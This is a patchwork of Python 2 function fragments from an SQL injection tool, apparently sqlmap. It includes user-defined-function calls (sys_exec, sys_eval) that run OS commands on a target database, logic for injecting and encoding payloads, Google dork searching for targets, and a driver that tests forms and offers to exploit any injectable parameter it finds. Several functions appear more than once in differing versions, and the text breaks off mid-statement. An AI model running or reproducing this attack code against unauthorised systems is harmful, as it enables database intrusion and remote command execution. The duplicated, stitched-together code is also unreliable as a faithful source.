def udfExecCmd(self, cmd, silent=False, udfName=None): if udfName is None: cmd = "'%s'" % cmd udfName = "sys_exec" cmd = unescaper.unescape(cmd) cmd = urlencode(cmd, convall=True) inject.goStacked("SELECT %s(%s)" % (udfName, cmd), silent)
def tamper(value): """ Replaces value with urlencode(value) Example: 'SELECT FIELD FROM TABLE' becomes 'SELECT%20FIELD%20FROM%20TABLE' """ if value: value = urlencode(value, convall=True) return value
def urlEncodeCookieValues(cookieStr): if cookieStr: result = "" for part in cookieStr.split(';'): index = part.find('=') + 1 if index > 0: name = part[:index - 1].strip() value = urlencode(part[index:], convall=True) result += "; %s=%s" % (name, value) elif part.strip().lower() != "secure": result += "%s%s" % ("%3B", urlencode(part, convall=True)) else: result += "; secure" if result.startswith('; '): result = result[2:] elif result.startswith('%3B'): result = result[3:] return result else: return None
def removePayloadDelimiters(self, inpStr, urlencode_=True): """ Removes payload delimiters from inside the input string """ retVal = inpStr if inpStr: if urlencode_: regObj = getCompiledRegex("(?P<result>%s.*?%s)" % (PAYLOAD_DELIMITER, PAYLOAD_DELIMITER)) for match in regObj.finditer(inpStr): retVal = retVal.replace(match.group("result"), urlencode(match.group("result").strip(PAYLOAD_DELIMITER), convall=True)) else: retVal = retVal.replace(PAYLOAD_DELIMITER, '') return retVal
def search(self, googleDork): """ This method performs the effective search on Google providing the google dork and the Google session cookie """ gpage = conf.googlePage if conf.googlePage > 1 else 1 logger.info("using Google result page #%d" % gpage) if not googleDork: return None url = "http://www.google.com/search?" url += "q=%s&" % urlencode(googleDork, convall=True) url += "num=100&hl=en&safe=off&filter=0&btnG=Search" url += "&start=%d" % ((gpage - 1) * 100) try: conn = self.opener.open(url) requestMsg = "HTTP request:\nGET %s" % url requestMsg += " %s" % httplib.HTTPConnection._http_vsn_str logger.log(8, requestMsg) page = conn.read() code = conn.code status = conn.msg responseHeaders = conn.info() page = decodePage(page, responseHeaders.get("Content-Encoding"), responseHeaders.get("Content-Type")) responseMsg = "HTTP response (%s - %d):\n" % (status, code) if conf.verbose <= 4: responseMsg += getUnicode(responseHeaders, UNICODE_ENCODING) elif conf.verbose > 4: responseMsg += "%s\n%s\n" % (responseHeaders, page) logger.log(7, responseMsg) except urllib2.HTTPError, e: try: page = e.read() except socket.timeout: warnMsg = "connection timed out while trying " warnMsg += "to get error page information (%d)" % e.code logger.critical(warnMsg) return None
def search(self, googleDork): """ This method performs the effective search on Google providing the google dork and the Google session cookie """ gpage = conf.googlePage if conf.googlePage > 1 else 1 logger.info("using Google result page #%d" % gpage) if not googleDork: return None url = "http://www.google.com/search?" url += "q=%s&" % urlencode(googleDork, convall=True) url += "num=100&hl=en&complete=0&safe=off&filter=0&btnG=Search" url += "&start=%d" % ((gpage-1) * 100) try: conn = self.opener.open(url) requestMsg = "HTTP request:\nGET %s" % url requestMsg += " %s" % httplib.HTTPConnection._http_vsn_str logger.log(8, requestMsg) page = conn.read() code = conn.code status = conn.msg responseHeaders = conn.info() page = decodePage(page, responseHeaders.get("Content-Encoding"), responseHeaders.get("Content-Type")) responseMsg = "HTTP response (%s - %d):\n" % (status, code) if conf.verbose <= 4: responseMsg += getUnicode(responseHeaders, UNICODE_ENCODING) elif conf.verbose > 4: responseMsg += "%s\n%s\n" % (responseHeaders, page) logger.log(7, responseMsg) except urllib2.HTTPError, e: try: page = e.read() except socket.timeout: warnMsg = "connection timed out while trying " warnMsg += "to get error page information (%d)" % e.code logger.critical(warnMsg) return None
def search(self, googleDork): """ This method performs the effective search on Google providing the google dork and the Google session cookie """ if not googleDork: return None url = "http://www.google.com/search?" url += "q=%s&" % urlencode(googleDork) url += "num=100&hl=en&safe=off&filter=0&btnG=Search" try: conn = self.opener.open(url) page = conn.read() except urllib2.HTTPError, e: page = e.read()
def search(self, googleDork): """ This method performs the effective search on Google providing the google dork and the Google session cookie """ gpage = conf.googlePage if conf.googlePage > 1 else 1 logger.info("using Google result page #%d" % gpage) if not googleDork: return None url = "http://www.google.com/search?" url += "q=%s&" % urlencode(googleDork) url += "num=100&hl=en&safe=off&filter=0&btnG=Search" url += "&start=%d" % ((gpage-1) * 100) try: conn = self.opener.open(url) requestMsg = "HTTP request:\nGET %s HTTP/1.1" % url #requestHeaders = "\n".join(["%s: %s" % (header, value) for header, value in conn.headers.items()]) #requestMsg += "\n%s" % requestHeaders requestMsg += "\n" logger.log(9, requestMsg) page = conn.read() code = conn.code status = conn.msg responseHeaders = conn.info() encoding = responseHeaders.get("Content-Encoding") page = decodePage(page, encoding) responseMsg = "HTTP response (%s - %d):\n" % (status, code) if conf.verbose <= 4: responseMsg += str(responseHeaders) elif conf.verbose > 4: responseMsg += "%s\n%s\n" % (responseHeaders, page) logger.log(8, responseMsg) except urllib2.HTTPError, e: page = e.read()
def udfEvalCmd(self, cmd, first=None, last=None, udfName=None): if udfName is None: cmd = "'%s'" % cmd udfName = "sys_eval" cmd = unescaper.unescape(cmd) cmd = urlencode(cmd, convall=True) inject.goStacked("INSERT INTO %s(%s) VALUES (%s(%s))" % (self.cmdTblName, self.tblField, udfName, cmd)) output = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.cmdTblName), resumeValue=False, firstChar=first, lastChar=last) inject.goStacked("DELETE FROM %s" % self.cmdTblName) if isinstance(output, (list, tuple)): output = output[0] if isinstance(output, (list, tuple)): output = output[0] return output
def payload(self, place=None, parameter=None, value=None, newValue=None, negative=False, falseCond=False): """ This method replaces the affected parameter with the SQL injection statement to request """ falseValue = "" negValue = "" retValue = "" newValue = urlencode(newValue) if negative or conf.paramNegative: negValue = "-" elif falseCond or conf.paramFalseCond: randInt = randomInt() falseValue = " AND %d=%d" % (randInt, randInt + 1) # After identifing the injectable parameter if kb.injPlace == "User-Agent": retValue = kb.injParameter.replace(kb.injParameter, "%s%s" % (negValue, kb.injParameter + falseValue + newValue)) elif kb.injParameter: paramString = conf.parameters[kb.injPlace] paramDict = conf.paramDict[kb.injPlace] value = paramDict[kb.injParameter] retValue = paramString.replace("%s=%s" % (kb.injParameter, value), "%s=%s%s" % (kb.injParameter, negValue, value + falseValue + newValue)) # Before identifing the injectable parameter elif parameter == "User-Agent": retValue = value.replace(value, newValue) else: paramString = conf.parameters[place] retValue = paramString.replace("%s=%s" % (parameter, value), "%s=%s" % (parameter, newValue)) return retValue
def queryPage(value=None, place=None, content=False, getRatioValue=False, silent=False, method=None, timeBasedCompare=False, noteResponseTime=True, auxHeaders=None, response=False, raise404=None, removeReflection=True): """ This method calls a function to get the target url page content and returns its page MD5 hash or a boolean value in case of string match check ('--string' command line parameter) """ if conf.direct: return direct(value, content) get = None post = None cookie = None ua = None referer = None page = None pageLength = None uri = None if not place: place = kb.injection.place or PLACE.GET raise404 = place != PLACE.URI if raise404 is None else raise404 payload = agent.extractPayload(value) threadData = getCurrentThreadData() if payload: if kb.tamperFunctions: for function in kb.tamperFunctions: payload = function(payload) value = agent.replacePayload(value, payload) logger.log(9, payload) if place == PLACE.COOKIE and conf.cookieUrlencode: value = agent.removePayloadDelimiters(value) value = urlEncodeCookieValues(value) elif place: if place in (PLACE.GET, PLACE.POST, PLACE.URI): # payloads in GET and/or POST need to be urlencoded # throughly without safe chars (especially & and =) # addendum: as we support url encoding in tampering # functions therefore we need to use % as a safe char if place != PLACE.URI or ('?' in value and value.find('?') < value.find(payload)): payload = urlencode(payload, "%", False, True) value = agent.replacePayload(value, payload) elif place == PLACE.SOAP: # payloads in SOAP should have chars > and < replaced # with their HTML encoded counterparts payload = payload.replace('>', '>').replace('<', '<') value = agent.replacePayload(value, payload) value = agent.removePayloadDelimiters(value) if conf.checkPayload: checkPayload(value) if PLACE.GET in conf.parameters: get = conf.parameters[PLACE.GET] if place != PLACE.GET or not value else value if PLACE.POST in conf.parameters: post = conf.parameters[PLACE.POST] if place != PLACE.POST or not value else value if PLACE.SOAP in conf.parameters: post = conf.parameters[PLACE.SOAP] if place != PLACE.SOAP or not value else value if PLACE.COOKIE in conf.parameters: cookie = conf.parameters[PLACE.COOKIE] if place != PLACE.COOKIE or not value else value if PLACE.UA in conf.parameters: ua = conf.parameters[PLACE.UA] if place != PLACE.UA or not value else value if PLACE.REFERER in conf.parameters: referer = conf.parameters[PLACE.REFERER] if place != PLACE.REFERER or not value else value if PLACE.URI in conf.parameters: uri = conf.url if place != PLACE.URI or not value else value else: uri = conf.url if conf.rParam: def _randomizeParameter(paramString, randomParameter): retVal = paramString match = re.search("%s=(?P<value>[^&;]+)" % randomParameter, paramString) if match: origValue = match.group("value") retVal = re.sub("%s=[^&;]+" % randomParameter, "%s=%s" % (randomParameter, randomizeParameterValue(origValue)), paramString) return retVal for randomParameter in conf.rParam: for item in [PLACE.GET, PLACE.POST, PLACE.COOKIE]: if item in conf.parameters: origValue = conf.parameters[item] if item == PLACE.GET and get: get = _randomizeParameter(get, randomParameter) elif item == PLACE.POST and post: post = _randomizeParameter(post, randomParameter) elif item == PLACE.COOKIE and cookie: cookie = _randomizeParameter(cookie, randomParameter) get = urlencode(get, limit=True) if post and place != PLACE.POST and hasattr(post, UNENCODED_ORIGINAL_VALUE): post = getattr(post, UNENCODED_ORIGINAL_VALUE) else: post = urlencode(post) if timeBasedCompare: if len(kb.responseTimes) < MIN_TIME_RESPONSES: clearConsoleLine() warnMsg = "time-based comparison needs larger statistical " warnMsg += "model. Making a few dummy requests, please wait.." singleTimeWarnMessage(warnMsg) while len(kb.responseTimes) < MIN_TIME_RESPONSES: Connect.queryPage(content=True) deviation = stdev(kb.responseTimes) if deviation > WARN_TIME_STDEV: kb.adjustTimeDelay = False warnMsg = "there is considerable lagging (standard deviation: " warnMsg += "%.1f sec%s) " % (deviation, "s" if deviation > 1 else "") warnMsg += "in connection response(s). Please use as high " warnMsg += "value for --time-sec option as possible (e.g. " warnMsg += "%d or more)" % (conf.timeSec * 2) logger.critical(warnMsg) elif not kb.testMode: warnMsg = "it is very important not to stress the network adapter's " warnMsg += "bandwidth during usage of time-based queries" singleTimeWarnMessage(warnMsg) if conf.safUrl and conf.saFreq > 0: kb.queryCounter += 1 if kb.queryCounter % conf.saFreq == 0: Connect.getPage(url=conf.safUrl, cookie=cookie, direct=True, silent=True, ua=ua, referer=referer) start = time.time() if kb.nullConnection and not content and not response and not timeBasedCompare: if kb.nullConnection == NULLCONNECTION.HEAD: method = HTTPMETHOD.HEAD elif kb.nullConnection == NULLCONNECTION.RANGE: if not auxHeaders: auxHeaders = {} auxHeaders[HTTPHEADER.RANGE] = "bytes=-1" _, headers, code = Connect.getPage(url=uri, get=get, post=post, cookie=cookie, ua=ua, referer=referer, silent=silent, method=method, auxHeaders=auxHeaders, raise404=raise404) if headers: if kb.nullConnection == NULLCONNECTION.HEAD and HTTPHEADER.CONTENT_LENGTH in headers: pageLength = int(headers[HTTPHEADER.CONTENT_LENGTH]) elif kb.nullConnection == NULLCONNECTION.RANGE and HTTPHEADER.CONTENT_RANGE in headers: pageLength = int(headers[HTTPHEADER.CONTENT_RANGE][headers[HTTPHEADER.CONTENT_RANGE].find('/') + 1:]) if not pageLength: page, headers, code = Connect.getPage(url=uri, get=get, post=post, cookie=cookie, ua=ua, referer=referer, silent=silent, method=method, auxHeaders=auxHeaders, response=response, raise404=raise404, ignoreTimeout=timeBasedCompare) threadData.lastQueryDuration = calculateDeltaSeconds(start) if kb.testMode: kb.testQueryCount += 1 if conf.cj: conf.cj.clear() if timeBasedCompare: return wasLastRequestDelayed() elif noteResponseTime: kb.responseTimes.append(threadData.lastQueryDuration) if not response and removeReflection: page = removeReflectiveValues(page, payload) if content or response: return page, headers if getRatioValue: return comparison(page, headers, code, getRatioValue=False, pageLength=pageLength), comparison(page, headers, code, getRatioValue=True, pageLength=pageLength) elif pageLength or page: return comparison(page, headers, code, getRatioValue, pageLength) else: return False
def getPage(**kwargs): """ This method connects to the target url or proxy and returns the target url page content """ if conf.delay is not None and isinstance(conf.delay, (int, float)) and conf.delay > 0: time.sleep(conf.delay) elif conf.cpuThrottle: delay = 0.00001 * (conf.cpuThrottle ** 2) time.sleep(delay) kb.locks.reqLock.acquire() kb.lastRequestUID += 1 requestID = kb.lastRequestUID kb.locks.reqLock.release() url = kwargs.get('url', conf.url).replace(" ", "%20") get = kwargs.get('get', None) post = kwargs.get('post', None) method = kwargs.get('method', None) cookie = kwargs.get('cookie', None) ua = kwargs.get('ua', None) direct = kwargs.get('direct', False) multipart = kwargs.get('multipart', False) silent = kwargs.get('silent', False) raise404 = kwargs.get('raise404', True) auxHeaders = kwargs.get('auxHeaders', None) response = kwargs.get('response', False) page = "" cookieStr = "" requestMsg = "HTTP request [#%d]:\n%s " % (requestID, conf.method) requestMsg += "%s" % urlparse.urlsplit(url)[2] or "/" responseMsg = "HTTP response " requestHeaders = "" responseHeaders = "" logHeaders = "" try: if silent: socket.setdefaulttimeout(3) if direct: if "?" in url: url, params = url.split("?") params = urlencode(params) url = "%s?%s" % (url, params) requestMsg += "?%s" % params elif multipart: # Needed in this form because of potential circle dependency # problem (option -> update -> connect -> option) from lib.core.option import proxyHandler multipartOpener = urllib2.build_opener(proxyHandler, multipartpost.MultipartPostHandler) conn = multipartOpener.open(url, multipart) page = conn.read() responseHeaders = conn.info() page = decodePage(page, responseHeaders.get("Content-Encoding"), responseHeaders.get("Content-Type")) return page else: if conf.parameters.has_key(PLACE.GET) and not get: get = conf.parameters[PLACE.GET] if get: url = "%s?%s" % (url, get) requestMsg += "?%s" % get if conf.method == HTTPMETHOD.POST: if conf.parameters.has_key(PLACE.POST) and not post: post = conf.parameters[PLACE.POST] requestMsg += " %s" % httplib.HTTPConnection._http_vsn_str # Perform HTTP request headers = forgeHeaders(cookie, ua) if kb.authHeader: headers["Authorization"] = kb.authHeader if kb.proxyAuthHeader: headers["Proxy-authorization"] = kb.proxyAuthHeader if auxHeaders: for key, item in auxHeaders.items(): headers[key] = item if method: req = MethodRequest(url, post, headers) req.set_method(method) else: req = urllib2.Request(url, post, headers) if not conf.dropSetCookie and conf.cj: for _, cookie in enumerate(conf.cj): if not cookieStr: cookieStr = "Cookie: " cookie = getUnicode(cookie) index = cookie.index(" for ") cookieStr += "%s; " % cookie[8:index] conn = urllib2.urlopen(req) if not req.has_header("Accept-Encoding"): requestHeaders += "Accept-Encoding: identity\n" requestHeaders += "\n".join(["%s: %s" % (header, value) for header, value in req.header_items()]) if not req.has_header("Cookie") and cookieStr: requestHeaders += "\n%s" % cookieStr[:-2] if not req.has_header("Connection"): requestHeaders += "\nConnection: close" requestMsg += "\n%s" % requestHeaders if post: requestMsg += "\n%s" % post requestMsg += "\n" logger.log(8, requestMsg) if not kb.authHeader and req.has_header("Authorization"): kb.authHeader = req.get_header("Authorization") if not kb.proxyAuthHeader and req.has_header("Proxy-authorization"): kb.proxyAuthHeader = req.get_header("Proxy-authorization") if hasattr(conn, "redurl") and hasattr(conn, "redcode") and not conf.redirectHandled: msg = "sqlmap got a %d redirect to " % conn.redcode msg += "%s - What target address do you " % conn.redurl msg += "want to use from now on? %s " % conf.url msg += "(default) or provide another target address based " msg += "also on the redirection got from the application\n" while True: choice = readInput(msg, default="1") if not choice or choice == "1": pass else: conf.url = choice return Connect.__getPageProxy(**kwargs) break conf.redirectHandled = True # Reset the number of connection retries conf.retriesCount = 0 # Return response object if response: return conn, None # Get HTTP response page = conn.read() code = conn.code status = conn.msg responseHeaders = conn.info() page = decodePage(page, responseHeaders.get("Content-Encoding"), responseHeaders.get("Content-Type")) except urllib2.HTTPError, e: code = e.code status = e.msg try: page = e.read() responseHeaders = e.info() except socket.timeout: warnMsg = "connection timed out while trying " warnMsg += "to get error page information (%d)" % code logger.warn(warnMsg) return None, None except: pass responseMsg = "\n%s[#%d] (%d %s):\n" % (responseMsg, requestID, code, status) if responseHeaders: logHeaders = "\n".join(["%s: %s" % (key.capitalize() if isinstance(key, basestring) else key, value) for (key, value) in responseHeaders.items()]) logHTTPTraffic(requestMsg, "%s%s\n\n%s" % (responseMsg, logHeaders, page)) if e.code == 401: errMsg = "not authorized, try to provide right HTTP " errMsg += "authentication type and valid credentials (%d)" % code raise sqlmapConnectionException, errMsg elif e.code == 404 and raise404: errMsg = "page not found (%d)" % code raise sqlmapConnectionException, errMsg else: debugMsg = "got HTTP error code: %d (%s)" % (code, status) logger.debug(debugMsg)
def start(): """ This function calls a function that performs checks on both URL stability and all GET, POST, Cookie and User-Agent parameters to check if they are dynamic and SQL injection affected """ if not conf.start: return False if conf.direct: initTargetEnv() setupTargetEnv() action() return True if conf.url and not any([conf.forms, conf.crawlDepth]): kb.targetUrls.add((conf.url, conf.method, conf.data, conf.cookie)) if conf.configFile and not kb.targetUrls: errMsg = "you did not edit the configuration file properly, set " errMsg += "the target url, list of targets or google dork" logger.error(errMsg) return False if kb.targetUrls and len(kb.targetUrls) > 1: infoMsg = "sqlmap got a total of %d targets" % len(kb.targetUrls) logger.info(infoMsg) hostCount = 0 cookieStr = "" for targetUrl, targetMethod, targetData, targetCookie in kb.targetUrls: try: conf.url = targetUrl conf.method = targetMethod conf.data = targetData conf.cookie = targetCookie initTargetEnv() parseTargetUrl() testSqlInj = False if PLACE.GET in conf.parameters and not any([conf.data, conf.testParameter]): for parameter in re.findall( r"([^=]+)=([^%s]+%s?|\Z)" % (conf.pDel or ";", conf.pDel or ";"), conf.parameters[PLACE.GET] ): paramKey = (conf.hostname, conf.path, PLACE.GET, parameter[0]) if paramKey not in kb.testedParams: testSqlInj = True break else: paramKey = (conf.hostname, conf.path, None, None) if paramKey not in kb.testedParams: testSqlInj = True testSqlInj &= (conf.hostname, conf.path, None, None) not in kb.testedParams if not testSqlInj: infoMsg = "skipping '%s'" % targetUrl logger.info(infoMsg) continue if conf.multipleTargets: hostCount += 1 if conf.forms: message = "[#%d] form:\n%s %s" % (hostCount, conf.method or HTTPMETHOD.GET, targetUrl) else: message = "url %d:\n%s %s%s" % ( hostCount, conf.method or HTTPMETHOD.GET, targetUrl, " (PageRank: %s)" % get_pagerank(targetUrl) if conf.googleDork and conf.pageRank else "", ) if conf.cookie: message += "\nCookie: %s" % conf.cookie if conf.data: message += "\nPOST data: %s" % urlencode(conf.data) if conf.data else "" if conf.forms: if conf.method == HTTPMETHOD.GET and targetUrl.find("?") == -1: continue message += "\ndo you want to test this form? [Y/n/q] " test = readInput(message, default="Y") if not test or test[0] in ("y", "Y"): if conf.method == HTTPMETHOD.POST: message = "Edit POST data [default: %s]%s: " % ( urlencode(conf.data) if conf.data else "None", " (Warning: blank fields detected)" if conf.data and extractRegexResult(EMPTY_FORM_FIELDS_REGEX, conf.data) else "", ) conf.data = readInput(message, default=conf.data) conf.data = __randomFillBlankFields(conf.data) conf.data = ( urldecode(conf.data) if conf.data and urlencode(DEFAULT_GET_POST_DELIMITER, None) not in conf.data else conf.data ) elif conf.method == HTTPMETHOD.GET: if targetUrl.find("?") > -1: firstPart = targetUrl[: targetUrl.find("?")] secondPart = targetUrl[targetUrl.find("?") + 1 :] message = "Edit GET data [default: %s]: " % secondPart test = readInput(message, default=secondPart) test = __randomFillBlankFields(test) conf.url = "%s?%s" % (firstPart, test) parseTargetUrl() elif test[0] in ("n", "N"): continue elif test[0] in ("q", "Q"): break elif conf.realTest: logger.info(message) else: message += "\ndo you want to test this url? [Y/n/q]" test = readInput(message, default="Y") if not test or test[0] in ("y", "Y"): pass elif test[0] in ("n", "N"): continue elif test[0] in ("q", "Q"): break infoMsg = "testing url %s" % targetUrl logger.info(infoMsg) setupTargetEnv() if not checkConnection(suppressOutput=conf.forms) or not checkString() or not checkRegexp(): continue if conf.checkWaf: checkWaf() if conf.nullConnection: checkNullConnection() if (len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None)) and ( kb.injection.place is None or kb.injection.parameter is None ): if not conf.string and not conf.regexp and PAYLOAD.TECHNIQUE.BOOLEAN in conf.tech: # NOTE: this is not needed anymore, leaving only to display # a warning message to the user in case the page is not stable checkStability() # Do a little prioritization reorder of a testable parameter list parameters = conf.parameters.keys() # Order of testing list (last to first) orderList = (PLACE.URI, PLACE.GET, PLACE.POST, PLACE.CUSTOM_POST) for place in orderList: if place in parameters: parameters.remove(place) parameters.insert(0, place) proceed = True for place in parameters: # Test User-Agent and Referer headers only if # --level >= 3 skip = place == PLACE.UA and conf.level < 3 skip |= place == PLACE.REFERER and conf.level < 3 # Test Host header only if # --level >= 5 skip |= place == PLACE.HOST and conf.level < 5 # Test Cookie header only if --level >= 2 skip |= place == PLACE.COOKIE and conf.level < 2 skip |= place == PLACE.UA and intersect(USER_AGENT_ALIASES, conf.skip, True) not in ([], None) skip |= place == PLACE.REFERER and intersect(REFERER_ALIASES, conf.skip, True) not in ([], None) skip |= place == PLACE.COOKIE and intersect(PLACE.COOKIE, conf.skip, True) not in ([], None) skip &= not (place == PLACE.UA and intersect(USER_AGENT_ALIASES, conf.testParameter, True)) skip &= not (place == PLACE.REFERER and intersect(REFERER_ALIASES, conf.testParameter, True)) skip &= not (place == PLACE.HOST and intersect(HOST_ALIASES, conf.testParameter, True)) if skip: continue if not conf.paramDict.has_key(place): continue paramDict = conf.paramDict[place] for parameter, value in paramDict.items(): if not proceed: break kb.vainRun = False testSqlInj = True paramKey = (conf.hostname, conf.path, place, parameter) if paramKey in kb.testedParams: testSqlInj = False infoMsg = "skipping previously processed %s parameter '%s'" % (place, parameter) logger.info(infoMsg) elif parameter in conf.testParameter: pass elif parameter == conf.rParam: testSqlInj = False infoMsg = "skipping randomizing %s parameter '%s'" % (place, parameter) logger.info(infoMsg) elif parameter in conf.skip: testSqlInj = False infoMsg = "skipping %s parameter '%s'" % (place, parameter) logger.info(infoMsg) # Ignore session-like parameters for --level < 4 elif conf.level < 4 and parameter.upper() in IGNORE_PARAMETERS: testSqlInj = False infoMsg = "ignoring %s parameter '%s'" % (place, parameter) logger.info(infoMsg) elif conf.realTest: pass elif PAYLOAD.TECHNIQUE.BOOLEAN in conf.tech: if not checkDynParam(place, parameter, value): warnMsg = "%s parameter '%s' appears to be not dynamic" % (place, parameter) logger.warn(warnMsg) else: infoMsg = "%s parameter '%s' is dynamic" % (place, parameter) logger.info(infoMsg) kb.testedParams.add(paramKey) if testSqlInj: check = heuristicCheckSqlInjection(place, parameter) if not check: if ( conf.smart or conf.realTest and not simpletonCheckSqlInjection(place, parameter, value) ): infoMsg = "skipping %s parameter '%s'" % (place, parameter) logger.info(infoMsg) continue infoMsg = "testing for SQL injection on %s " % place infoMsg += "parameter '%s'" % parameter logger.info(infoMsg) injection = checkSqlInjection(place, parameter, value) proceed = not kb.endDetection if injection is not None and injection.place is not None: kb.injections.append(injection) # In case when user wants to end detection phase (Ctrl+C) if not proceed: break msg = "%s parameter '%s' " % (injection.place, injection.parameter) msg += "is vulnerable. Do you want to keep testing the others (if any)? [y/N] " test = readInput(msg, default="N") if test[0] not in ("y", "Y"): proceed = False paramKey = (conf.hostname, conf.path, None, None) kb.testedParams.add(paramKey) else: warnMsg = "%s parameter '%s' is not " % (place, parameter) warnMsg += "injectable" logger.warn(warnMsg) if len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None): if kb.vainRun and not conf.multipleTargets: errMsg = "no parameter(s) found for testing in the provided data " errMsg += "(e.g. GET parameter 'id' in 'www.site.com/index.php?id=1')" raise sqlmapNoneDataException, errMsg elif not conf.realTest: errMsg = "all parameters appear to be not injectable." if conf.level < 5 or conf.risk < 3: errMsg += " Try to increase --level/--risk values " errMsg += "to perform more tests." if isinstance(conf.tech, list) and len(conf.tech) < 5: errMsg += " Rerun without providing the option '--technique'." if not conf.textOnly and kb.originalPage: percent = 100.0 * len(getFilteredPageContent(kb.originalPage)) / len(kb.originalPage) if kb.dynamicParameters: errMsg += " You can give it a go with the --text-only " errMsg += "switch if the target page has a low percentage " errMsg += "of textual content (~%.2f%% of " % percent errMsg += "page content is text)." elif percent < LOW_TEXT_PERCENT and not kb.errorIsNone: errMsg += " Please retry with the --text-only switch " errMsg += "(along with --technique=BU) as this case " errMsg += "looks like a perfect candidate " errMsg += "(low textual content along with inability " errMsg += "of comparison engine to detect at least " errMsg += "one dynamic parameter)." if kb.heuristicTest: errMsg += " As heuristic test turned out positive you are " errMsg += "strongly advised to continue on with the tests. " errMsg += "Please, consider usage of tampering scripts as " errMsg += "your target might filter the queries." if not conf.string and not conf.regexp: errMsg += " Also, you can try to rerun by providing " errMsg += "either a valid --string " errMsg += "or a valid --regexp, refer to the user's " errMsg += "manual for details" elif conf.string: errMsg += " Also, you can try to rerun by providing a " errMsg += "valid --string as perhaps the string you " errMsg += "have choosen does not match " errMsg += "exclusively True responses" elif conf.regexp: errMsg += " Also, you can try to rerun by providing a " errMsg += "valid --regexp as perhaps the regular " errMsg += "expression that you have choosen " errMsg += "does not match exclusively True responses" raise sqlmapNotVulnerableException, errMsg else: errMsg = "it seems that all parameters are not injectable" raise sqlmapNotVulnerableException, errMsg else: # Flush the flag kb.testMode = False __saveToResultsFile() __saveToHashDB() __showInjections() __selectInjection() if kb.injection.place is not None and kb.injection.parameter is not None: if kb.testQueryCount == 0 and conf.realTest: condition = False elif conf.multipleTargets: message = "do you want to exploit this SQL injection? [Y/n] " exploit = readInput(message, default="Y") condition = not exploit or exploit[0] in ("y", "Y") else: condition = True if condition: action() except KeyboardInterrupt: if conf.multipleTargets: warnMsg = "user aborted in multiple target mode" logger.warn(warnMsg) message = "do you want to skip to the next target in list? [Y/n/q]" test = readInput(message, default="Y") if not test or test[0] in ("y", "Y"): pass elif test[0] in ("n", "N"): return False elif test[0] in ("q", "Q"): raise sqlmapUserQuitException else: raise except sqlmapUserQuitException: raise except sqlmapSilentQuitException: raise except exceptionsTuple, e: e = getUnicode(e) if conf.multipleTargets: e += ", skipping to the next %s" % ("form" if conf.forms else "url") logger.error(e) else: logger.critical(e) return False finally:
def getPage(**kwargs): """ This method connects to the target url or proxy and returns the target url page content """ if conf.delay is not None and isinstance(conf.delay, (int, float)) and conf.delay > 0: time.sleep(conf.delay) elif conf.cpuThrottle: cpuThrottle(conf.cpuThrottle) threadData = getCurrentThreadData() threadData.lastRequestUID += 1 url = kwargs.get('url', conf.url) get = kwargs.get('get', None) post = kwargs.get('post', None) method = kwargs.get('method', None) cookie = kwargs.get('cookie', None) ua = kwargs.get('ua', None) referer = kwargs.get('referer', None) host = kwargs.get('host', conf.host) direct = kwargs.get('direct', False) multipart = kwargs.get('multipart', False) silent = kwargs.get('silent', False) raise404 = kwargs.get('raise404', True) auxHeaders = kwargs.get('auxHeaders', None) response = kwargs.get('response', False) ignoreTimeout = kwargs.get('ignoreTimeout', kb.ignoreTimeout) refreshing = kwargs.get('refreshing', False) retrying = kwargs.get('retrying', False) crawling = kwargs.get('crawling', False) if not urlparse.urlsplit(url).netloc: url = urlparse.urljoin(conf.url, url) # flag to know if we are dealing with the same target host target = reduce(lambda x, y: x == y, map(lambda x: urlparse.urlparse(x).netloc.split(':')[0], [url, conf.url or ""])) if not retrying: # Reset the number of connection retries threadData.retriesCount = 0 # fix for known issue when urllib2 just skips the other part of provided # url splitted with space char while urlencoding it in the later phase url = url.replace(" ", "%20") code = None page = None requestMsg = u"HTTP request [#%d]:\n%s " % (threadData.lastRequestUID, method or (HTTPMETHOD.POST if post else HTTPMETHOD.GET)) requestMsg += "%s" % urlparse.urlsplit(url)[2] or "/" responseMsg = u"HTTP response " requestHeaders = u"" responseHeaders = None logHeaders = u"" skipLogTraffic = False raise404 = raise404 and not kb.ignoreNotFound # support for non-latin (e.g. cyrillic) URLs as urllib/urllib2 doesn't # support those by default url = asciifyUrl(url) # fix for known issues when using url in unicode format # (e.g. UnicodeDecodeError: "url = url + '?' + query" in redirect case) url = unicodeencode(url) try: if silent: socket.setdefaulttimeout(HTTP_SILENT_TIMEOUT) else: socket.setdefaulttimeout(conf.timeout) if direct: if "?" in url: url, params = url.split("?") params = urlencode(params) url = "%s?%s" % (url, params) requestMsg += "?%s" % params elif multipart: # Needed in this form because of potential circle dependency # problem (option -> update -> connect -> option) from lib.core.option import proxyHandler multipartOpener = urllib2.build_opener(proxyHandler, multipartpost.MultipartPostHandler) conn = multipartOpener.open(unicodeencode(url), multipart) page = Connect.__connReadProxy(conn) responseHeaders = conn.info() responseHeaders[URI_HTTP_HEADER] = conn.geturl() page = decodePage(page, responseHeaders.get(HTTPHEADER.CONTENT_ENCODING), responseHeaders.get(HTTPHEADER.CONTENT_TYPE)) return page elif any ([refreshing, crawling]): pass elif target: if conf.parameters.has_key(PLACE.GET) and not get: get = conf.parameters[PLACE.GET] if get: url = "%s?%s" % (url, get) requestMsg += "?%s" % get if conf.method == HTTPMETHOD.POST and not post: for place in (PLACE.POST, PLACE.SOAP): if conf.parameters.has_key(place): post = conf.parameters[place] break elif get: url = "%s?%s" % (url, get) requestMsg += "?%s" % get requestMsg += " %s" % httplib.HTTPConnection._http_vsn_str # Prepare HTTP headers headers = forgeHeaders({ HTTPHEADER.COOKIE: cookie, HTTPHEADER.USER_AGENT: ua, HTTPHEADER.REFERER: referer }) if conf.realTest: headers[HTTPHEADER.REFERER] = "%s://%s" % (conf.scheme, conf.hostname) if kb.authHeader: headers[HTTPHEADER.AUTHORIZATION] = kb.authHeader if kb.proxyAuthHeader: headers[HTTPHEADER.PROXY_AUTHORIZATION] = kb.proxyAuthHeader headers[HTTPHEADER.ACCEPT] = HTTP_ACCEPT_HEADER_VALUE headers[HTTPHEADER.HOST] = host or getHostHeader(url) if auxHeaders: for key, item in auxHeaders.items(): headers[key] = item for key, item in headers.items(): del headers[key] headers[unicodeencode(key, kb.pageEncoding)] = unicodeencode(item, kb.pageEncoding) post = unicodeencode(post, kb.pageEncoding) if method: req = MethodRequest(url, post, headers) req.set_method(method) else: req = urllib2.Request(url, post, headers) if not 